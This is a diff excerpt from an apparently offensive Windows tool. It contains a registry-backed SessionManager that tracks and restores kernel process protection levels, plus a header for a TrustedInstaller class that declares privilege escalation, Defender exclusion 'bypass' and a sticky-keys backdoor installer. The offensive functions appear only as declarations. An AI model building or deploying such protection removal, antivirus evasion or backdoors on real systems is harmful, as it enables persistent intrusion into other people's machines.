std::wstring SessionManager::GetSessionPath(const std::wstring& sessionId) noexcept
|
||||
{
|
||||
return GetRegistryBasePath() + L"\\Sessions\\" + sessionId;
|
||||
}
|
||||
|
||||
// Remove all session keys except current boot session
|
||||
void SessionManager::CleanupStaleSessions() noexcept
|
||||
{
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
return;
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
|
||||
std::vector<std::wstring> keysToDelete;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring keyName = subKeyName;
|
||||
if (keyName != currentSession)
|
||||
keysToDelete.push_back(keyName);
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
// Delete stale sessions
|
||||
for (const auto& key : keysToDelete)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, key);
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
}
|
||||
|
||||
// Save process state before unprotect operation
|
||||
bool SessionManager::SaveUnprotectOperation(const std::wstring& signerName,
|
||||
const std::vector<ProcessEntry>& affectedProcesses) noexcept
|
||||
{
|
||||
if (affectedProcesses.empty())
|
||||
return true;
|
||||
|
||||
// Use original signer name (no normalization)
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey = OpenOrCreateKey(signerPath);
|
||||
if (!hKey)
|
||||
{
|
||||
ERROR(L"Failed to create registry key for session state");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD index = 0;
|
||||
for (const auto& proc : affectedProcesses)
|
||||
{
|
||||
SessionEntry entry;
|
||||
entry.Pid = proc.Pid;
|
||||
entry.ProcessName = proc.ProcessName;
|
||||
entry.OriginalProtection = Utils::GetProtection(proc.ProtectionLevel, proc.SignerType);
|
||||
entry.SignatureLevel = proc.SignatureLevel;
|
||||
entry.SectionSignatureLevel = proc.SectionSignatureLevel;
|
||||
entry.Status = L"UNPROTECTED";
|
||||
|
||||
if (!WriteSessionEntry(signerName, index, entry))
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
// Write count
|
||||
DWORD count = static_cast<DWORD>(affectedProcesses.size());
|
||||
RegSetValueExW(hKey, L"Count", 0, REG_DWORD, reinterpret_cast<const BYTE*>(&count), sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
SUCCESS(L"Session state saved to registry (%d processes tracked)", count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool SessionManager::WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept
|
||||
{
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
// Format: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
|
||||
std::wostringstream oss;
|
||||
oss << entry.Pid << L"|"
|
||||
<< entry.ProcessName << L"|"
|
||||
<< static_cast<int>(entry.OriginalProtection) << L"|"
|
||||
<< static_cast<int>(entry.SignatureLevel) << L"|"
|
||||
<< static_cast<int>(entry.SectionSignatureLevel) << L"|"
|
||||
<< entry.Status;
|
||||
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(index);
|
||||
std::wstring valueData = oss.str();
|
||||
|
||||
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(valueData.c_str()),
|
||||
static_cast<DWORD>((valueData.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool SessionManager::UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept
|
||||
{
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(index);
|
||||
wchar_t valueData[512];
|
||||
DWORD valueSize = sizeof(valueData);
|
||||
|
||||
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
|
||||
reinterpret_cast<BYTE*>(valueData), &valueSize) != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Parse existing entry
|
||||
std::wstring data = valueData;
|
||||
std::vector<std::wstring> parts;
|
||||
std::wstring current;
|
||||
|
||||
for (wchar_t ch : data)
|
||||
{
|
||||
if (ch == L'|')
|
||||
{
|
||||
parts.push_back(current);
|
||||
current.clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
current += ch;
|
||||
}
|
||||
}
|
||||
if (!current.empty())
|
||||
parts.push_back(current);
|
||||
|
||||
if (parts.size() < 5)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Rebuild with new status
|
||||
std::wostringstream oss;
|
||||
oss << parts[0] << L"|" << parts[1] << L"|" << parts[2] << L"|"
|
||||
<< parts[3] << L"|" << parts[4] << L"|" << newStatus;
|
||||
|
||||
std::wstring newValueData = oss.str();
|
||||
|
||||
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(newValueData.c_str()),
|
||||
static_cast<DWORD>((newValueData.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
std::vector<SessionEntry> SessionManager::LoadSessionEntries(const std::wstring& signerName) noexcept
|
||||
{
|
||||
std::vector<SessionEntry> entries;
|
||||
|
||||
// Normalize signer name for case-insensitive comparison
|
||||
std::wstring normalizedSigner = signerName;
|
||||
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
|
||||
normalizedSigner.begin(), ::towlower);
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
return entries;
|
||||
|
||||
// Search all subkeys for matching signer (case-insensitive)
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::wstring foundSignerKey;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
|
||||
if (result != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring candidate = subKeyName;
|
||||
std::wstring normalizedCandidate = candidate;
|
||||
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
|
||||
normalizedCandidate.begin(), ::towlower);
|
||||
|
||||
if (normalizedCandidate == normalizedSigner) {
|
||||
foundSignerKey = candidate;
|
||||
break;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
if (foundSignerKey.empty()) {
|
||||
RegCloseKey(hSession);
|
||||
DEBUG(L"No signer key found for: %s (normalized: %s)", signerName.c_str(), normalizedSigner.c_str());
|
||||
return entries;
|
||||
}
|
||||
|
||||
// Use found key name
|
||||
entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
|
||||
RegCloseKey(hSession);
|
||||
|
||||
DEBUG(L"Loaded %zu entries for signer: %s (key: %s)", entries.size(), signerName.c_str(), foundSignerKey.c_str());
|
||||
return entries;
|
||||
}
|
||||
|
||||
std::vector<SessionEntry> SessionManager::LoadSessionEntriesFromPath(const std::wstring& sessionPath, const std::wstring& signerName) noexcept
|
||||
{
|
||||
std::vector<SessionEntry> entries;
|
||||
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return entries;
|
||||
|
||||
DWORD count = 0;
|
||||
DWORD dataSize = sizeof(DWORD);
|
||||
if (RegQueryValueExW(hKey, L"Count", nullptr, nullptr, reinterpret_cast<BYTE*>(&count), &dataSize) != ERROR_SUCCESS) {
|
||||
count = 0;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < count; i++)
|
||||
{
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(i);
|
||||
wchar_t valueData[512];
|
||||
DWORD valueSize = sizeof(valueData);
|
||||
|
||||
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
|
||||
reinterpret_cast<BYTE*>(valueData), &valueSize) == ERROR_SUCCESS)
|
||||
{
|
||||
// Parse: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
|
||||
std::wstring data = valueData;
|
||||
std::vector<std::wstring> parts;
|
||||
std::wstring current;
|
||||
|
||||
for (wchar_t ch : data)
|
||||
{
|
||||
if (ch == L'|')
|
||||
{
|
||||
parts.push_back(current);
|
||||
current.clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
current += ch;
|
||||
}
|
||||
}
|
||||
if (!current.empty())
|
||||
parts.push_back(current);
|
||||
|
||||
if (parts.size() >= 5)
|
||||
{
|
||||
SessionEntry entry;
|
||||
entry.Pid = static_cast<DWORD>(std::stoul(parts[0]));
|
||||
entry.ProcessName = parts[1];
|
||||
entry.OriginalProtection = static_cast<UCHAR>(std::stoi(parts[2]));
|
||||
entry.SignatureLevel = static_cast<UCHAR>(std::stoi(parts[3]));
|
||||
entry.SectionSignatureLevel = static_cast<UCHAR>(std::stoi(parts[4]));
|
||||
entry.Status = (parts.size() >= 6) ? parts[5] : L"UNPROTECTED";
|
||||
|
||||
entries.push_back(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return entries;
|
||||
}
|
||||
|
||||
// Restore protection for specific signer group
|
||||
bool SessionManager::RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept
|
||||
{
|
||||
if (!controller)
|
||||
{
|
||||
ERROR(L"Controller not available for restoration");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Find actual signer key name in registry (case-insensitive search)
|
||||
std::wstring normalizedSigner = signerName;
|
||||
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
|
||||
normalizedSigner.begin(), ::towlower);
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Find actual key name in registry
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::wstring foundSignerKey;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
|
||||
if (result != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring candidate = subKeyName;
|
||||
std::wstring normalizedCandidate = candidate;
|
||||
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
|
||||
normalizedCandidate.begin(), ::towlower);
|
||||
|
||||
if (normalizedCandidate == normalizedSigner) {
|
||||
foundSignerKey = candidate;
|
||||
break;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSession);
|
||||
|
||||
if (foundSignerKey.empty())
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Load entries using actual key name
|
||||
auto entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
|
||||
|
||||
if (entries.empty())
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Restoring protection for %s (%zu processes)", signerName.c_str(), entries.size());
|
||||
|
||||
DWORD successCount = 0;
|
||||
DWORD skipCount = 0;
|
||||
DWORD entryIndex = 0;
|
||||
|
||||
for (const auto& entry : entries)
|
||||
{
|
||||
// Skip if already restored
|
||||
if (entry.Status == L"RESTORED")
|
||||
{
|
||||
skipCount++;
|
||||
entryIndex++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check if process still exists
|
||||
auto kernelAddr = controller->GetProcessKernelAddress(entry.Pid);
|
||||
if (!kernelAddr)
|
||||
{
|
||||
INFO(L"Skipping PID %d (%s) - process no longer exists", entry.Pid, entry.ProcessName.c_str());
|
||||
skipCount++;
|
||||
entryIndex++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Restore original protection
|
||||
if (controller->SetProcessProtection(kernelAddr.value(), entry.OriginalProtection))
|
||||
{
|
||||
UpdateEntryStatus(foundSignerKey, entryIndex, L"RESTORED");
|
||||
SUCCESS(L"Restored protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
successCount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
ERROR(L"Failed to restore protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
}
|
||||
|
||||
entryIndex++;
|
||||
}
|
||||
|
||||
INFO(L"Restoration completed: %d restored, %d skipped", successCount, skipCount);
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
// Restore all saved protection states
|
||||
bool SessionManager::RestoreAll(Controller* controller) noexcept
|
||||
{
|
||||
if (!controller)
|
||||
{
|
||||
ERROR(L"Controller not available for restoration");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved session state found");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Enumerate all signer subkeys
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::vector<std::wstring> signers;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
signers.push_back(subKeyName);
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSession);
|
||||
|
||||
if (signers.empty())
|
||||
{
|
||||
INFO(L"No saved state found in current session");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Restoring all protection states (%zu groups)", signers.size());
|
||||
|
||||
bool anySuccess = false;
|
||||
for (const auto& signer : signers)
|
||||
{
|
||||
if (RestoreBySigner(signer, controller))
|
||||
anySuccess = true;
|
||||
}
|
||||
|
||||
return anySuccess;
|
||||
}
|
||||
|
||||
// Display saved session history
|
||||
void SessionManager::ShowHistory() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved session state found (cannot open sessions key)");
|
||||
return;
|
||||
}
|
||||
|
||||
// Show current calculated boot session ID
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
INFO(L"Current boot session ID: %s", currentSession.c_str());
|
||||
INFO(L"All sessions found in registry:");
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
bool foundSessions = false;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring sessionId = subKeyName;
|
||||
std::wcout << L"\nSession: " << sessionId;
|
||||
if (sessionId == currentSession) {
|
||||
std::wcout << L" [CURRENT]";
|
||||
}
|
||||
std::wcout << L"\n";
|
||||
|
||||
std::wstring sessionPath = basePath + L"\\" + sessionId;
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD signerIndex = 0;
|
||||
wchar_t signerName[256];
|
||||
DWORD signerNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
signerNameSize = 256;
|
||||
if (RegEnumKeyExW(hSession, signerIndex, signerName, &signerNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring signer = signerName;
|
||||
auto entries = LoadSessionEntriesFromPath(sessionPath, signer);
|
||||
std::wcout << L" [" << signer << L"] - " << entries.size() << L" processes\n";
|
||||
|
||||
for (const auto& entry : entries)
|
||||
{
|
||||
std::wcout << L" PID " << entry.Pid << L": " << entry.ProcessName
|
||||
<< L" (protection: 0x" << std::hex << static_cast<int>(entry.OriginalProtection)
|
||||
<< std::dec << L", status: " << entry.Status << L")\n";
|
||||
}
|
||||
|
||||
signerIndex++;
|
||||
foundSessions = true;
|
||||
}
|
||||
RegCloseKey(hSession);
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (!foundSessions) {
|
||||
INFO(L"No session data found in registry");
|
||||
}
|
||||
}
|
||||
|
||||
HKEY SessionManager::OpenOrCreateKey(const std::wstring& path) noexcept
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD disposition;
|
||||
|
||||
if (RegCreateKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, nullptr,
|
||||
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nullptr,
|
||||
&hKey, &disposition) != ERROR_SUCCESS)
|
||||
{
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
return hKey;
|
||||
}
|
||||
|
||||
bool SessionManager::DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept
|
||||
{
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(hKeyParent, subKey.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
// Delete all subkeys first
|
||||
wchar_t childName[256];
|
||||
DWORD childNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
childNameSize = 256;
|
||||
if (RegEnumKeyExW(hKey, 0, childName, &childNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
DeleteKeyRecursive(hKey, childName);
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
RegDeleteKeyW(hKeyParent, subKey.c_str());
|
||||
|
||||
return true;
|
||||
}
|
||||
113
kvc/SessionManager.h
Normal file
113
kvc/SessionManager.h
Normal file
@@ -0,0 +1,113 @@
|
||||
// SessionManager.h - Manages process protection state across boot sessions via registry persistence
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <optional>
|
||||
|
||||
// Forward declarations
|
||||
struct ProcessEntry;
|
||||
class Controller;
|
||||
|
||||
// Single process protection state entry for restoration
|
||||
struct SessionEntry
|
||||
{
|
||||
DWORD Pid; // Process ID at unprotect time
|
||||
std::wstring ProcessName; // Executable name
|
||||
UCHAR OriginalProtection; // Original protection level
|
||||
UCHAR SignatureLevel; // Executable signature level
|
||||
UCHAR SectionSignatureLevel; // DLL section signature level
|
||||
std::wstring Status; // "UNPROTECTED" or "RESTORED"
|
||||
};
|
||||
|
||||
// Manages protection state tracking and restoration across reboots (max 16 sessions)
|
||||
class SessionManager
|
||||
{
|
||||
public:
|
||||
// Construct session manager (no automatic reboot detection)
|
||||
SessionManager() = default;
|
||||
|
||||
// Default destructor (no cleanup needed)
|
||||
~SessionManager() = default;
|
||||
|
||||
// === Session Lifecycle Management ===
|
||||
|
||||
// Remove outdated session entries from registry
|
||||
void CleanupStaleSessions() noexcept;
|
||||
|
||||
// Delete all sessions except current boot session
|
||||
void CleanupAllSessionsExceptCurrent() noexcept;
|
||||
|
||||
// Detect reboot by comparing boot ID and cleanup old sessions
|
||||
void DetectAndHandleReboot() noexcept;
|
||||
|
||||
// Enforce maximum number of stored sessions (default 16)
|
||||
void EnforceSessionLimit(int maxSessions) noexcept;
|
||||
|
||||
// === State Tracking Operations ===
|
||||
|
||||
// Save unprotect state for given signer group to registry
|
||||
bool SaveUnprotectOperation(const std::wstring& signerName,
|
||||
const std::vector<ProcessEntry>& affectedProcesses) noexcept;
|
||||
|
||||
// === Restoration Operations ===
|
||||
|
||||
// Restore protection for all entries under specified signer
|
||||
bool RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept;
|
||||
|
||||
// Restore all saved protections across all signer groups
|
||||
bool RestoreAll(Controller* controller) noexcept;
|
||||
|
||||
// === Query Operations ===
|
||||
|
||||
// Display session history and statistics
|
||||
void ShowHistory() noexcept;
|
||||
|
||||
private:
|
||||
// Get current boot session ID: "{BootID}_{TickCount}"
|
||||
std::wstring GetCurrentBootSession() noexcept;
|
||||
|
||||
// Convert tick count to human-readable boot time
|
||||
std::wstring CalculateBootTime() noexcept;
|
||||
|
||||
// Read last boot ID from registry
|
||||
ULONGLONG GetLastBootIdFromRegistry() noexcept;
|
||||
|
||||
// Save current boot ID to registry
|
||||
void SaveLastBootId(ULONGLONG bootId) noexcept;
|
||||
|
||||
// Read last tick count from registry
|
||||
ULONGLONG GetLastTickCountFromRegistry() noexcept;
|
||||
|
||||
// Save current tick count to registry
|
||||
void SaveLastTickCount(ULONGLONG tickCount) noexcept;
|
||||
|
||||
// Return base registry path for sessions
|
||||
std::wstring GetRegistryBasePath() noexcept;
|
||||
|
||||
// Build full registry path for given session ID
|
||||
std::wstring GetSessionPath(const std::wstring& sessionId) noexcept;
|
||||
|
||||
// Load all session entries for given signer
|
||||
std::vector<SessionEntry> LoadSessionEntries(const std::wstring& signerName) noexcept;
|
||||
|
||||
// Load session entries from given registry path
|
||||
std::vector<SessionEntry> LoadSessionEntriesFromPath(const std::wstring& sessionPath,
|
||||
const std::wstring& signerName) noexcept;
|
||||
|
||||
// Write single session entry to registry
|
||||
bool WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept;
|
||||
|
||||
// Update status ("UNPROTECTED"/"RESTORED") for specific entry
|
||||
bool UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept;
|
||||
|
||||
// Enumerate all stored session IDs in registry
|
||||
std::vector<std::wstring> GetAllSessionIds() noexcept;
|
||||
|
||||
// Open or create registry key by path
|
||||
HKEY OpenOrCreateKey(const std::wstring& path) noexcept;
|
||||
|
||||
// Recursively delete registry key and all its subkeys
|
||||
bool DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept;
|
||||
};
|
||||
File diff suppressed because it is too large
Load Diff
@@ -3,15 +3,15 @@
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <string_view>
|
||||
#include <span>
|
||||
|
||||
// TrustedInstaller privilege escalation for maximum system access
|
||||
class TrustedInstallerIntegrator
|
||||
{
|
||||
public:
|
||||
TrustedInstallerIntegrator();
|
||||
~TrustedInstallerIntegrator();
|
||||
|
||||
// Enhanced exclusion types for comprehensive Defender management
|
||||
enum class ExclusionType {
|
||||
Paths,
|
||||
Processes,
|
||||
@@ -19,64 +19,101 @@ public:
|
||||
IpAddresses
|
||||
};
|
||||
|
||||
// Main public interface for elevated operations
|
||||
// Process execution
|
||||
bool RunAsTrustedInstaller(const std::wstring& commandLine);
|
||||
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
|
||||
|
||||
// Legacy exclusion management (backward compatibility)
|
||||
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
|
||||
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
|
||||
bool AddContextMenuEntries();
|
||||
// File operations (NEW - direct write/delete with TrustedInstaller)
|
||||
bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
|
||||
std::span<const BYTE> data) noexcept;
|
||||
bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
|
||||
|
||||
// Enhanced exclusion management with type specification
|
||||
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
|
||||
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
|
||||
bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
|
||||
std::wstring_view dstPath) noexcept;
|
||||
|
||||
// Type-specific exclusion methods for convenience
|
||||
bool AddExtensionExclusion(const std::wstring& extension);
|
||||
bool RemoveExtensionExclusion(const std::wstring& extension);
|
||||
bool AddIpAddressExclusion(const std::wstring& ipAddress);
|
||||
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
|
||||
// Creates a directory with TrustedInstaller privileges
|
||||
bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
|
||||
|
||||
// Sticky keys backdoor management
|
||||
// Registry operations (NEW - direct registry access with TrustedInstaller)
|
||||
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey) noexcept;
|
||||
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring_view value) noexcept;
|
||||
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
DWORD value) noexcept;
|
||||
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::span<const BYTE> data) noexcept;
|
||||
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring& outValue) noexcept;
|
||||
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
std::wstring_view subKey) noexcept;
|
||||
|
||||
// Defender exclusions
|
||||
bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||
bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||
bool AddToDefenderExclusions(std::wstring_view customPath = L"");
|
||||
bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
|
||||
|
||||
bool AddPathExclusion(std::wstring_view path);
|
||||
bool RemovePathExclusion(std::wstring_view path);
|
||||
bool AddProcessExclusion(std::wstring_view processName);
|
||||
bool RemoveProcessExclusion(std::wstring_view processName);
|
||||
bool AddExtensionExclusion(std::wstring_view extension);
|
||||
bool RemoveExtensionExclusion(std::wstring_view extension);
|
||||
bool AddIpAddressExclusion(std::wstring_view ipAddress);
|
||||
bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
|
||||
|
||||
bool AddProcessToDefenderExclusions(std::wstring_view processName);
|
||||
bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
|
||||
|
||||
// Simplified Defender exclusion management
|
||||
int AddMultipleDefenderExclusions(
|
||||
const std::vector<std::wstring>& paths,
|
||||
const std::vector<std::wstring>& processes,
|
||||
const std::vector<std::wstring>& extensions);
|
||||
|
||||
// Sticky keys backdoor
|
||||
bool InstallStickyKeysBackdoor() noexcept;
|
||||
bool RemoveStickyKeysBackdoor() noexcept;
|
||||
|
||||
// Process exclusion management for Defender bypass
|
||||
bool AddProcessToDefenderExclusions(const std::wstring& processName);
|
||||
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
|
||||
// Context menu
|
||||
bool AddContextMenuEntries();
|
||||
|
||||
// Public access methods for Controller integration
|
||||
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
|
||||
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
|
||||
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
|
||||
|
||||
// TrustedInstaller token management
|
||||
// Token access
|
||||
HANDLE GetCachedTrustedInstallerToken();
|
||||
DWORD StartTrustedInstallerService();
|
||||
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
|
||||
|
||||
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
|
||||
